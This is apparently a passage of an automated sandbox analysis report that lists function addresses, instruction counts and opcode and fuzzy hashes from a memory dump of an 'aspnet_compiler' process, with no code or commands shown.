                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a31c2c23b4517fa83190f2f071b075dcb825627450a6f94414447da29f9bb9ec
                                                        • Instruction ID: 234dee7345eae1aba95e3bdef04e6145c1da54cc14a15d4d92045b960d28f7fc
                                                        • Opcode Fuzzy Hash: a31c2c23b4517fa83190f2f071b075dcb825627450a6f94414447da29f9bb9ec
                                                        • Instruction Fuzzy Hash: 4B210472644714ABD311EF18DC41B5BBBA4FF88764F10022EFA44DB7A0D334E8008BA9
                                                        Function 012EA30B Relevance: .1, Instructions: 70COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d6c183b544e5fe9ad047bd35449c50ba5c4cd6dd3643c6668764d812a0e56455
                                                        • Instruction ID: 2c6ede57d6c2a42578ec92e4c29d977626a25c8cc05f3b6bc307e3abfeeb8cf1
                                                        • Opcode Fuzzy Hash: d6c183b544e5fe9ad047bd35449c50ba5c4cd6dd3643c6668764d812a0e56455
                                                        • Instruction Fuzzy Hash: 7A219879251A11DBC725EF29C802B56B7E9EF08B08F24846CE509CBB61E371E842CB94
                                                        Function 013480A8 Relevance: .1, Instructions: 69COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
                                                        • Instruction ID: fa2410de4cc20c6d13fb8c6a978e3be33b84f7f16db425d671476230b251241c
                                                        • Opcode Fuzzy Hash: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
                                                        • Instruction Fuzzy Hash: 5F218C72A00209EFDF129F98CC40BAEBBF9EF88714F20485AFA05A7251D734E9509B50
                                                        Function 012D15A9 Relevance: .1, Instructions: 69COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 29802a1ca24c6965babefc6623953e4fc32110ab479eab20bfca4cc576a297b9
                                                        • Instruction ID: 9ce5f6a063b7c1c1a0e3cac26c91223b4398a2f64757c7fede7a5b66eb8754fb
                                                        • Opcode Fuzzy Hash: 29802a1ca24c6965babefc6623953e4fc32110ab479eab20bfca4cc576a297b9
                                                        • Instruction Fuzzy Hash: FE212331616686CFE716CB6DD844B617BE9BF44648F0904A1EE058B796EB78CC10C750
                                                        Function 012E0124 Relevance: .1, Instructions: 68COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                                                        • Instruction ID: cc86ecae39bcc1b57ac4348edfda6766e259585fa4fb4ced125825d72283b9e5
                                                        • Opcode Fuzzy Hash: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                                                        • Instruction Fuzzy Hash: D211EF72610606AFE7269B48CC89FAABBB8EB80B54F100029F7048F180D6B1ED45DB64
                                                        Function 0133D080 Relevance: .1, Instructions: 66COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: dea3cc3eb51d6c713625a681f7e2fa0b1e74360e389372b174872194df6c716a
                                                        • Instruction ID: 16306094ce8b524e8ae96cd7ade63274177e879b6a6bbd3d40ca0a1de7b1f49e
                                                        • Opcode Fuzzy Hash: dea3cc3eb51d6c713625a681f7e2fa0b1e74360e389372b174872194df6c716a
                                                        • Instruction Fuzzy Hash: C7112571160251EBC732AB68DC40F36BBA8EBD2BA8F94452CFA055B691DA359801C798
                                                        Function 012B80E9 Relevance: .1, Instructions: 66COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: fcbaf8d250180153f6980e2fc98892043f7f408d82d0f73709610bb9d7514d33
                                                        • Instruction ID: 887e28a69c9163a176c7f4fa7adb3946be8ec283acdfd37c69858033d15c9e0c
                                                        • Opcode Fuzzy Hash: fcbaf8d250180153f6980e2fc98892043f7f408d82d0f73709610bb9d7514d33
                                                        • Instruction Fuzzy Hash: 9C216F75A21206DFCB14CF58C581AAEBBF9FB88754F24416DD209A7351C771AD06CBD0
                                                        Function 012A9240 Relevance: .1, Instructions: 64COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b8f201ac28a5b2361e35b642090346a304f7589da563981eae96aeeff0e3aee4
                                                        • Instruction ID: 5a0ab95df035537fbcae5a35651c5f1a33e88ae7ce4e90287b35d307679a0861
                                                        • Opcode Fuzzy Hash: b8f201ac28a5b2361e35b642090346a304f7589da563981eae96aeeff0e3aee4
                                                        • Instruction Fuzzy Hash: AD11277A020201ABD7359F65E802B727BECFB64B94F944029E901D73A8E339DD01CB64
                                                        Function 0133D250 Relevance: .1, Instructions: 60COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: cb357989cf6a9fa38c1083ed068219b72e3dbf2cd04fab079ab0c10dbcc8b970
                                                        • Instruction ID: a32eb235b18a38a1c2fd530b2d9dbfea79b4f205aa033f052a470eb25f5a48b6
                                                        • Opcode Fuzzy Hash: cb357989cf6a9fa38c1083ed068219b72e3dbf2cd04fab079ab0c10dbcc8b970
                                                        • Instruction Fuzzy Hash: E10149B752021057D63156E98C85BBB761CEBD4AB8FD9072CBF148B242DE28CD4183E4
                                                        Function 012DB052 Relevance: .1, Instructions: 57COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 927f9c8791d21a97f0f506d0b0da552e60eebfe98d8da5720d1483aa7afd8c35
                                                        • Instruction ID: abd22f2dd78d44fe93a9557c3753923939edea6632e34b652ba1cfa36128715c
                                                        • Opcode Fuzzy Hash: 927f9c8791d21a97f0f506d0b0da552e60eebfe98d8da5720d1483aa7afd8c35
                                                        • Instruction Fuzzy Hash: CC01F972B203016BD710AB6ADC91F7BB7ECDF95215F050038E705D3240EA70E9058661
                                                        Function 012A7330 Relevance: .1, Instructions: 55COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e158eeb1b916b9ed8acda36fa927270ca15a5c6f5fb1fa6b36241c70dc6e19fe
                                                        • Instruction ID: 6e1e0125129e01c917b614a19b6d5b63f28d6aeac9bc93fcd411fcf499e5b24f
                                                        • Opcode Fuzzy Hash: e158eeb1b916b9ed8acda36fa927270ca15a5c6f5fb1fa6b36241c70dc6e19fe
                                                        • Instruction Fuzzy Hash: 0A11A0726206069FE721CF58C842B6B77E8EB44354F064429EB85C7211D776EC448BA4
                                                        Function 012DE53E Relevance: .1, Instructions: 55COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
                                                        • Instruction ID: c9db31e24e1a9af991096f6ca5ba099f5c851024973a3507e5f8b5498629dedb
                                                        • Opcode Fuzzy Hash: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
                                                        • Instruction Fuzzy Hash: 021104722216C29BE727A72CD984B653BD8FF01B8CF1A04A0DF418B682F329CC46C650
                                                        Function 012DF2D0 Relevance: .1, Instructions: 54COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a4284ffab0e96543c9fe258f0aa758dd22d94eec51d165bd75950b06bc9011c1
                                                        • Instruction ID: eb7e7bced4f7e18782fb65e4fc8dc98317aff696ece13ec548ac57ea3ebdf930
                                                        • Opcode Fuzzy Hash: a4284ffab0e96543c9fe258f0aa758dd22d94eec51d165bd75950b06bc9011c1
                                                        • Instruction Fuzzy Hash: 9E1125716106889BD720DF69C944BAEB7B8FF44704F15407AE601E7641DA79DD01C754
                                                        Function 013472A0 Relevance: .1, Instructions: 53COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 1e850f2c6b8a62aa57273bc2e4efeca7cc81b0ea7f022921ea7aa6f1d3ab38ae
                                                        • Instruction ID: a00fa9bae3966bc8b7b2d78f743631e0004cfc3e0e59740b21d4314ec9bfcb4a
                                                        • Opcode Fuzzy Hash: 1e850f2c6b8a62aa57273bc2e4efeca7cc81b0ea7f022921ea7aa6f1d3ab38ae
                                                        • Instruction Fuzzy Hash: 8F01807215050ABFE711AF56CD80EA2FB6DFB65794F504529F35042560C721ECA0CBA4
                                                        Function 012AA250 Relevance: .1, Instructions: 52COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
                                                        • Instruction ID: 48d14a4d486b12bbbf2ce654eab950715474a79ce9e26647b6d0ab470604e8f1
                                                        • Opcode Fuzzy Hash: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
                                                        • Instruction Fuzzy Hash: 2001F572525B229BCB318F19DC40A36BBF5FF55B607408A2DFE958B681D731D820CBA0
                                                        Function 0132E1D0 Relevance: .1, Instructions: 51COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 54e4faf31be82234c093996f67b69dd356581fc16fb4805b83ff5baf9fb787f5
                                                        • Instruction ID: ea81140d169c79df639edc223c6d4ead6b13897bb58b38627ae3d054e888076d
                                                        • Opcode Fuzzy Hash: 54e4faf31be82234c093996f67b69dd356581fc16fb4805b83ff5baf9fb787f5
                                                        • Instruction Fuzzy Hash: 2B118B32251741EFDB15EF19CD91F66BBB8FF54B88F240079EA069B6A1C235ED01CA90
                                                        Function 012B6259 Relevance: .1, Instructions: 51COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 40f373217f1bd9baaa3aa727b755c818c5ec58d6a0f46afdc61c6d6a47f2b14f
                                                        • Instruction ID: 08c1a2e6fd6bc6279fab34a274d3a558cf945c7caff61b865686855c9083c873
                                                        • Opcode Fuzzy Hash: 40f373217f1bd9baaa3aa727b755c818c5ec58d6a0f46afdc61c6d6a47f2b14f
                                                        • Instruction Fuzzy Hash: 80118E7155122DABEB25EF64CD42FE9B3B4BF14710F5041E9A718A61E0DB709E81CF84
                                                        Function 01336050 Relevance: .0, Instructions: 50COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 38665283e0607fc371cb25173f8e1fb263f4297a6a3cc6c3f970299cc7cece03
                                                        • Instruction ID: 308889212ccf1565d2b3dbfd7a6dcb676f4fe19e739127f17a4ea753469b49bf
                                                        • Opcode Fuzzy Hash: 38665283e0607fc371cb25173f8e1fb263f4297a6a3cc6c3f970299cc7cece03
                                                        • Instruction Fuzzy Hash: 95111B72900019BBCB11DB94CC85DEFB77CEF58258F044166E506A7211EA34EA15CBE0
                                                        Function 012B208A Relevance: .0, Instructions: 50COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: cec1b93156338fd1fb8a58b034706470ae4e768dca4fd24834b6fe138f7a55f1
                                                        • Instruction ID: 5861a9cc46024ca56602e9e0258e74199ba8832fbbe23c3e02a6cb5e7361c252
                                                        • Opcode Fuzzy Hash: cec1b93156338fd1fb8a58b034706470ae4e768dca4fd24834b6fe138f7a55f1
                                                        • Instruction Fuzzy Hash: AD012832220201CBDF229A5DD8C0BE2776BFFD4744F1549A9EE118F286DAB1EC81C790
                                                        Function 012AC020 Relevance: .0, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: dec391378cc995e4bcc1589e6a6118842a70016cea674f56f99eea4ad8bc76d4
                                                        • Instruction ID: 5aeb64dabc43833cc9e93f2ed6876cd19f8eda4cb7942c17f95f7445c5032283
                                                        • Opcode Fuzzy Hash: dec391378cc995e4bcc1589e6a6118842a70016cea674f56f99eea4ad8bc76d4
                                                        • Instruction Fuzzy Hash: 0501B53215070ADFEB2396A9C900BA777E9FFC5714F448819AA468B980DA71E401CB50
                                                        Function 012F20F0 Relevance: .0, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 89495908294080db36983fd1da5ce4aa4eb6b64eb3215443140d5b9cacc60854
                                                        • Instruction ID: 067f0f8aa9177ec1ec460c05c00de96b1b424ff40d3f1119e812566d3a5c7b98
                                                        • Opcode Fuzzy Hash: 89495908294080db36983fd1da5ce4aa4eb6b64eb3215443140d5b9cacc60854
                                                        • Instruction Fuzzy Hash: 4611AD35A1020DEBCB05EF64C841FAFBBB5EB45344F004069EA019B280D631EE01CB90
                                                        Function 012EE5CF Relevance: .0, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 911e7ec96966c4045d94d0c58020d1f61f9c973c7ebb1451ae84a2cbce3ab1a7
                                                        • Instruction ID: d596ab2da1bafa8b85694fc105470194b5453fdbdad8f1666b9dc7223dfa13ba
                                                        • Opcode Fuzzy Hash: 911e7ec96966c4045d94d0c58020d1f61f9c973c7ebb1451ae84a2cbce3ab1a7
                                                        • Instruction Fuzzy Hash: 5201F7B1220615BFC311BB39CD80E67BBACFF55A94B000629F20583550DF24EC01C7E0
                                                        Function 012A9353 Relevance: .0, Instructions: 48COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 16eb1e9227c9ca53ee971aeba792c6b4be561f846bb8a1c766c052503132072f
                                                        • Instruction ID: 3b2cceda4a6b6907506839c5f0c85b0b7a6c6fb2e98f21cde18748755357de39
                                                        • Opcode Fuzzy Hash: 16eb1e9227c9ca53ee971aeba792c6b4be561f846bb8a1c766c052503132072f
                                                        • Instruction Fuzzy Hash: BF11A132420B02DFDB329F16C880B22B7F4BF50766F15C86CD6894B4A6C375E880CB10
                                                        Function 0133C460 Relevance: .0, Instructions: 48COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e224fe802b12429bde5080b91c98bece9de3d553feef01beab83c9bd91567e19
                                                        • Instruction ID: 6d1fdaa0bd4597104878f488c53df98ca997c9b5fd4b04aab00a6a35da496c69
                                                        • Opcode Fuzzy Hash: e224fe802b12429bde5080b91c98bece9de3d553feef01beab83c9bd91567e19
                                                        • Instruction Fuzzy Hash: 6C116D71A0024DEBDB15EF68C854EAEBBB9FB88344F00405AFD01A7380DA35ED11CB94
                                                        Function 012ED1D0 Relevance: .0, Instructions: 47COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2103513d2fbd223765d54b27d59d1ce24549dd4e977acd5ce3c70b0a80ca45ab
                                                        • Instruction ID: 908c6b530c972e4d44649fbbfe62166d7ead22ef3047b43b52c904f6085e7020
                                                        • Opcode Fuzzy Hash: 2103513d2fbd223765d54b27d59d1ce24549dd4e977acd5ce3c70b0a80ca45ab
                                                        • Instruction Fuzzy Hash: 33012B72A302499BDB11EB98E809F6577E9EB84B34F108159FF198B2C2DB74DD01C791
                                                        Function 012D33A5 Relevance: .0, Instructions: 47COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5807426d3854de8340053ba828383e613f6f2126caef2cc0c9319ce74fae2529
                                                        • Instruction ID: b279b584846ecdb8569d7c03c22b45ca6aa6915e6b7cd92d3028fc9bcee58521
                                                        • Opcode Fuzzy Hash: 5807426d3854de8340053ba828383e613f6f2126caef2cc0c9319ce74fae2529
                                                        • Instruction Fuzzy Hash: 7E01F4B6720106ABCB12DBAACD00EAF7FACFF84650B244429FB05D7120EA34DD12C760
                                                        Function 0136F5BE Relevance: .0, Instructions: 47COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 230f14c553853a715e7cdab2374e9881b5d1162310b7f3ea89614153c5f791a6
                                                        • Instruction ID: 8a2cacfbbcdc4ec0914b957ba36c980641f48c756092f1c8cfd132ecafee3907
                                                        • Opcode Fuzzy Hash: 230f14c553853a715e7cdab2374e9881b5d1162310b7f3ea89614153c5f791a6
                                                        • Instruction Fuzzy Hash: 7D017171A10249AFDB14EF69E851FAEBBBCEF44714F40406ABA00EB280D674DE41CB94
                                                        Function 0136F453 Relevance: .0, Instructions: 47COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3f71e568ccae539e2ba7407ba7f1ae2dac9432ea31ed9f59c2340a5ce30dc344
                                                        • Instruction ID: 6488819a3e1384d52b32f36c3233661870eccfa2f2d8beb7d54b02add7593f68
                                                        • Opcode Fuzzy Hash: 3f71e568ccae539e2ba7407ba7f1ae2dac9432ea31ed9f59c2340a5ce30dc344
                                                        • Instruction Fuzzy Hash: 1F015E71A10249ABDB14EF69D851FAEBBBCFF44714F40406ABA00EB281D6B4DA41CB94
                                                        Function 012CE016 Relevance: .0, Instructions: 46COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
                                                        • Instruction ID: 6b423f0726f30fbcc332367767752d6aec18aa2a4ca929a29ffe3305d592876b
                                                        • Opcode Fuzzy Hash: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
                                                        • Instruction Fuzzy Hash: 04018F32224684DFE327871DC958F267BDCEF44B58F0A04A5FA09DB6E2D678DC40CA61
                                                        Function 012A826B Relevance: .0, Instructions: 46COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: f56d474a88f27d2b4ea404cb9f720ab3f807a5e2e15350f82024238cad37bc0a
                                                        • Instruction ID: ed898073bdd7ab5db1e864d4828a7f80017244e8c2359fd91b9c4cfaa3753235
                                                        • Opcode Fuzzy Hash: f56d474a88f27d2b4ea404cb9f720ab3f807a5e2e15350f82024238cad37bc0a
                                                        • Instruction Fuzzy Hash: 3B01A231B2054ADBD714EB6EDC05ABEBBA9FF80324F9540699A01A76C4DE70DD01C790
                                                        Function 0136F367 Relevance: .0, Instructions: 45COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: bb3157969dfeed041e5e5d8be02a707f56c028c63a4da6cf151ef1a3e9e9463a
                                                        • Instruction ID: a30466c7f693a09b152836b9f3a2f5b33bc9c347487c9efc32766a302a834e39
                                                        • Opcode Fuzzy Hash: bb3157969dfeed041e5e5d8be02a707f56c028c63a4da6cf151ef1a3e9e9463a
                                                        • Instruction Fuzzy Hash: 12018471A10258ABDB10EBA9D815FBFBBBCEF54704F00406AB500EB280D674D900CB94
                                                        Function 012B2582 Relevance: .0, Instructions: 45COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: dacb651e7ff44f1af95e30f84ab9e90aac75f6f5346709d099859da3721a670f
                                                        • Instruction ID: 1700f3ad4c0f76a709351309fb0f4fae0385cc826e2fc8c3b27afda0dcce3e0c
                                                        • Opcode Fuzzy Hash: dacb651e7ff44f1af95e30f84ab9e90aac75f6f5346709d099859da3721a670f
                                                        • Instruction Fuzzy Hash: 42F0F432751B11BBC736DB5A9D80F97BAAEEB84FD0F008428E60597640CA30ED01CBA0
                                                        Function 01385152 Relevance: .0, Instructions: 43COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
